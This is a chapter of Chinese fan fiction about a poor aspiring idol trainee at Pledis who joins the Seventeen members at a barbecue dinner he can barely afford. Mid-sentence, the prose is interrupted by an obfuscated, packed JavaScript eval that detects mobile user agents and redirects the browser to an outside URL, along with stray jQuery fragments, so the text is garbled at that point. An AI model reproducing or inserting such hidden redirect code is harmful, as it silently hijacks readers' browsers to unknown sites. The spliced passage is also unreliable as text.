生机一旦落在心土上，哪怕是最贫瘠坚硬的那一块，也会疯长出带刺的藤蔓，将人紧紧缠绕，带来近乎疼痛的希望，留下看不见的破裂痕迹。


    已经成人的金侑一依旧孩子性地幻想着一切的美好，甚至挑来挑去定下了他未来的艺名：Unie。好像那时候，他就靠“Unie”挺着。


    所以时间究竟带走了什么呢？


    金侑一站在空荡练习室的中央，听着自己不成调的喘息在墙壁间碰撞回响，第一次清晰地意识到，有些东西，大概再也回不去了。


    存折上的数字终于爬过了一个微小的刻度线。金侑一把那张薄薄的卡片贴在胸口，冰凉的塑料壳下，似乎能感受到热度，尽管微弱。


    这是他瞒着所有人，从无数个昏沉欲睡的清晨和油污遍地的深夜，一分一毫攒出来的。


    数额不大，有些寒酸，但足够支付Pledis最基础练习生课程的初期费用，以及一份能保证他在接下来的几个月里不至于饿死的预算。


    去交钱的那天，天空是少有澄澈，阳光毫无阻碍地洒下来，照在Pledis办公楼的玻璃幕墙上，反射出刺眼的光。


    金侑一站在楼下，仰着头，第一次觉得这栋建筑没那么冰冷。他捏紧了装着钱的信封，指节因为用力而泛白，手心里也全是汗。


    流程比想象中简单，比他预想的更令人激动。填写表格，缴费，拍照，领取一张临时出入卡和几份注意事项。


    负责登记的工作人员是个面无表情的年轻女人，语速很快地交代着练习时间、着装要求、考核标准，目光几乎没有在他身上停留，仿佛他只是一道需要处理的普通手续。


    金侑一垂着眼，他发现他越是用心去记每一个字，那些关键词就越像隔着一层毛玻璃，就越模糊，越沉重。


    当他捏着那张印着他黑白照片，写着“练习生金侑一”的临时卡片走出办公室时，走廊里正有一群练习生喧闹着走过。


    孩子们穿着统一的训练服，头发被汗水打湿，脸上带着运动后的潮红和高声谈笑后的松弛。


    有人瞥了他一眼，目光掠过他穿了很久的普通T恤和牛仔裤，掠过他手里那张崭新的卡片，没有任何停留，又转回去和同伴说笑起来。


    金侑一默默地把卡片收进口袋，贴着内侧放好。他拥有了一个名义上的资格，却比任何时候都更清晰地感受到他与梦想之间的空洞。


    那天傍晚，金侑一结束清扫工作后没有立刻离开。崔胜徹带着一群人从大练习室出来，脸上带着罕见的轻松笑意。


    “喂，金侑一！”崔胜徹叫住他，声音比平时洪亮些，“今天我请客，去吃烤肉！一起！”


    周围顿时响起一片欢呼和应和声。夫盛宽蹦跳着过来揽他的肩：“走吧走吧，侑一哥！辛苦了这么久，总算能放松一下了！”


    金侑一僵在原地。


    烤肉？


    他口袋里的钱，交完练习生费用后所剩无几，每一分都要精确计算到未来几周的口粮上。请客吗？真的是请客吗？


    他连AA都难以负担啊。


    “我……”他张了张嘴，喉咙发干，“我还要回去……”


    “回什么去！”权纯永一把勾住他另一边脖子，力气大得让他踉跄了一下，“今天必须去！庆祝我们阶段性考核通过！哥也来嘛，人多热闹！”


    “对啊侑一哥，你平时那么照顾我们。”文俊晖用还不太流利的韩语说道。


    所有人的目光都落在他身上，压力骤然在金侑一肩头拉满。他看着那一张张充满期待的脸，拒绝的话卡在喉咙里，最终一个字也吐不出来。


    金侑一心肠软得不行，他也知道自己应该干不出什么大事来。


    这时候又会想起崔胜徹挡在他身前的背影，想起李志勋递来的话筒，想起那些孩子们在得到他帮忙时的依赖……


    某种尖锐疼痛的情绪，狠狠攫住了他。金侑一垂下眼，避开那些目光，点了点头。


    “这就对了！”崔胜徹笑着拍了拍他的背，“走走走！我知道一家味道不错，价格也很实惠的！”


    那家烤肉店确实不算高档，藏在一条热闹的巷子里，但烟火气十足。长长的桌子拼在一起，十几个人热热闹闹地围坐，菜单传来传去，五花肉、韩牛、大肠、蘑菇……点的东西很快堆满了桌面。


    炭火在炉子里烧得通红，孩子们捏着夹子把肉片放上去，铁板立刻发出“滋啦”的悦耳声响，油脂滴落，腾起带着焦香的烟雾。


    练习生们似乎暂时抛开了严格的饮食控制和出道的压力，笑着抱怨老师多么多么严厉，练习时哪一步做的特别搞笑，吐槽便利店的吃食等等。


    金侑一坐在角落，挨着最不熟悉的金岷奎。他面前的盘子几乎是空的，只夹了几片生菜和一点泡菜。


    每次有人把烤好的肉分到他盘子里，他都低声说谢谢，然后吃得极其缓慢，仿佛在数着不存在的米粒。


    烤盘上油脂迸溅的热气熏着他的脸，周围的笑声和谈话声像潮水一样包裹着他，他却感觉自己像坐在一个透明的罩子里，所有的喧嚣都隔离在外，一股风过去，什么都没了。


    口袋里的钱包轻得可怕。他知道这顿饭不会真的让崔胜徹一个人付，最后多半是AA。


    他下意识地摸了摸口袋，指尖触到几张单薄的纸币和几枚硬币，还温热着。


    “侑一哥，你怎么不吃肉？”坐在对面的李璨凑过来，嘴里塞得鼓鼓囊囊，像只小水獭，他把自己盘子里一块烤得焦香的五花肉夹给金侑一，“这个超好吃！快尝尝！”


    金侑一看着那块油光发亮的肉，胃里却一阵抽搐。“我……吃饱了。”他把肉又夹回给李璨，勉强扯出一个笑容，“你正在长身体，多吃点。”


    “真的吗？”李璨眨眨眼，信以为真，又开心地吃了回去。


    旁边的金岷奎慢条斯理地用生菜包着烤肉，状似无意地看了金侑一一眼。


    那目光平静


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976262|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，却让金侑一有种被看穿的错觉，他立刻低下头，假装专注地盯着自己面前那杯快要见底的免费大麦茶。


    自卑像藤蔓，从脚底悄然缠绕上来，勒紧他的心脏，再顺着血管蔓延到四肢百骸。


    他看着桌上丰盛的食物，看着周围那些可爱孩子们，甚至看着他们身上哪怕简单却也整洁合身的训练服。


    金侑一咬唇低头扫了眼自己袖口磨损的毛衣，一种近乎扭曲的对比感撕扯着他。


    他们走在光里，而他却是连影子都沾着洗不掉的尘灰。他坐在这里，像一个误入盛宴的乞丐，每一秒都是凌迟。


    “呀，说起来，”夫盛宽灌了一口汽水，脸颊微红，声音带着兴奋，“听说公司已经在策划出道组了！胜徹哥，是不是真的？”


    话题突然转向了这个敏感而激动人心的方向。桌上一静，所有人的目光都投向崔胜徹。


    崔胜徹放下筷子，脸上轻松的笑意淡了些，多了几分慎重。“是有这个风声，但具体还不确定。大家继续努力吧，机会是给有准备的人的。”


    这话并没有浇灭众人的热情，反而激起了更热烈的讨论。谁可能入选，定位怎么分配，出道风格会是什么样……每一个假设都带着滚烫的渴望。


    金侑一安静地听着，“主唱”“主舞”“门面”“出道曲”“打歌舞台”……一个个词汇像一颗颗小石子，投入他心湖，却激不起半点涟漪。


    他们的讨论越热烈，他的沉默就割裂。


    梦想吗？在踏进P社大门，拿到练习生卡的那一刻，似乎触手可及。


    但此刻坐在这里，他比任何时候都更清醒地认识到，那不过是另一个更加残酷的开始。


    他拿什么去努力？拿他透支的健康，拿他岌岌可危的家庭，拿他口袋里这几张连一顿像样烤肉都支付不起的纸币？


    金侑一不知道。


    聚餐在一片意犹未尽中走向尾声。


    果然如金侑一所料，崔胜徹提议AA，大家纷纷掏出钱包。


    金侑一的手伸进口袋，指尖发凉，慢慢数出那些皱巴巴的纸币和硬币。数额刚好，甚至没有多余的零钱。他把钱放在桌上，声音低得几乎听不见：“我的。”


    没有人注意到他的异样。


    大家还在兴奋地讨论着刚才的话题，商量着下一场练习。


    金侑一跟在人群最后，走出烟雾缭绕的店铺。夜晚的风吹在脸上，带着凉意，一丝一缕带走了身上的烤肉味。


    他看着前面那群勾肩搭背，步履轻快的背影，他们融在首尔璀璨的夜色里，像一群即将振翅的雏鸟。


    而他，金侑一，站在原地，影子被路灯拉得细长，孤零零地钉在冰冷的地面上。


    他没有哪一刻心里这种“为什么我不能和他们一样”的对比心理会像现在这样强烈。


    就像金代表说的，他不是有个“好样貌”适合做爱豆么？


    哈，那些人还认为自己是个“抢手货”呢。